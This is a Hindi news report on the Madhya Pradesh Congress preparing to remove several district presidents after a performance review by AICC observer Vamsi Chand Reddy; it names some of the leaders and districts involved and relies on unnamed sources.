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कांग्रेस के कई जिला अध्यक्ष उम्मीदों पर खरे नहीं उतरे, अब दिग्गज नेताओं की कुर्सी पर संकट https://pratyushaashakinayikiran.com/?p=213544 Tue, 21 Apr 2026 05:06:00 +0000 https://pratyushaashakinayikiran.com/?p=213544 भोपाल
 मध्यप्रदेश कांग्रेस संगठन में बड़े बदलाव की आहट तेज हो गई है। प्रदेश कांग्रेस अब जिला अध्यक्षों की परफॉर्मेंस रिपोर्ट के आधार पर सख्त फैसले की तैयारी में है। सूत्रों के मुताबिक 9 से ज्यादा जिला अध्यक्षों की छुट्टी लगभग तय मानी जा रही है। खास बात यह है कि जिन नेताओं से संगठन को मजबूत करने, कार्यकर्ताओं को सक्रिय रखने और जनता के बीच पार्टी की पकड़ बढ़ाने की उम्मीद की गई थी, वे उसी कसौटी पर खरे नहीं उतर सके।

बताया जा रहा है कि कई ऐसे जिला अध्यक्ष भी डेंजर जोन में हैं, जिन्हें सीधे राहुल गांधी की सहमति से जिम्मेदारी सौंपी गई थी। लेकिन संगठन विस्तार, कार्यक्रमों के क्रियान्वयन और जमीनी सक्रियता के मामले में उनकी रिपोर्ट बेहद कमजोर पाई गई। यही वजह है कि अब कांग्रेस नेतृत्व किसी भी तरह की ढिलाई के मूड में नहीं दिख रहा।

सूत्रों के अनुसार डिंडोरी जिला अध्यक्ष ओमकार सिंह मरकाम, सतना ग्रामीण के सिद्धार्थ कुशवाह, मंडला के अशोक मर्सकोले समेत ग्वालियर ग्रामीण, रतलाम शहर, मंदसौर, अनूपपुर, दतिया, रीवा ग्रामीण, मऊगंज और आगर मालवा के जिला अध्यक्षों की रिपोर्ट खराब बताई जा रही है। हालांकि कुछ जिलाध्यक्ष जातिगत और स्थानीय राजनीतिक समीकरणों के कारण राहत पा सकते हैं। करीब 8 महीने पहले संगठन सृजन अभियान के तहत इन जिला अध्यक्षों की नियुक्ति की गई थी। उद्देश्य था कि बूथ स्तर तक संगठन को मजबूत किया जाए, कांग्रेस की गतिविधियों को तेज किया जाए और जनता के मुद्दों पर लगातार संघर्ष किया जाए। लेकिन कई जिलों में अपेक्षित काम नहीं हुआ। AICC की ओर से वामसी चंद रेड्डी को समीक्षा के लिए भेजा गया था।

उन्होंने चार दिनों तक वन-टू-वन चर्चा कर जिला अध्यक्षों की रिपोर्ट तैयार की। इस दौरान संगठन की मजबूती, ब्लॉक-मंडलम-पंचायत और वार्ड समितियों के गठन, AICC और PCC के कार्यक्रमों के क्रियान्वयन, प्रेस कॉन्फ्रेंस, धरना-प्रदर्शन, जिला कार्यकारिणी बैठकों और कनेक्ट सेंटर को रिपोर्टिंग जैसे कई बिंदुओं पर सवाल पूछे गए।

जानकारी के मुताबिक डिंडोरी के ओमकार सिंह मरकाम और रतलाम ग्रामीण के सिद्धार्थ कुशवाहा ने तो अपने कामकाज की रिपोर्ट तक कनेक्ट सेंटर को नहीं भेजी, जिससे उनकी स्थिति और कमजोर मानी जा रही है। प्रदेश कांग्रेस नेतृत्व का मानना है कि जिन नेताओं को संगठन की नई ऊर्जा बनने के लिए जिम्मेदारी दी गई थी, वे अपेक्षाओं पर खरे नहीं उतरे। अब पार्टी ऐसे चेहरों को हटाकर नए और सक्रिय नेतृत्व को मौका देने के पक्ष में नजर आ रही है। आने वाले दिनों में इस पर बड़ा फैसला सामने आ सकता है, जिससे प्रदेश कांग्रेस की राजनीति में हलचल और तेज होना तय है।

 

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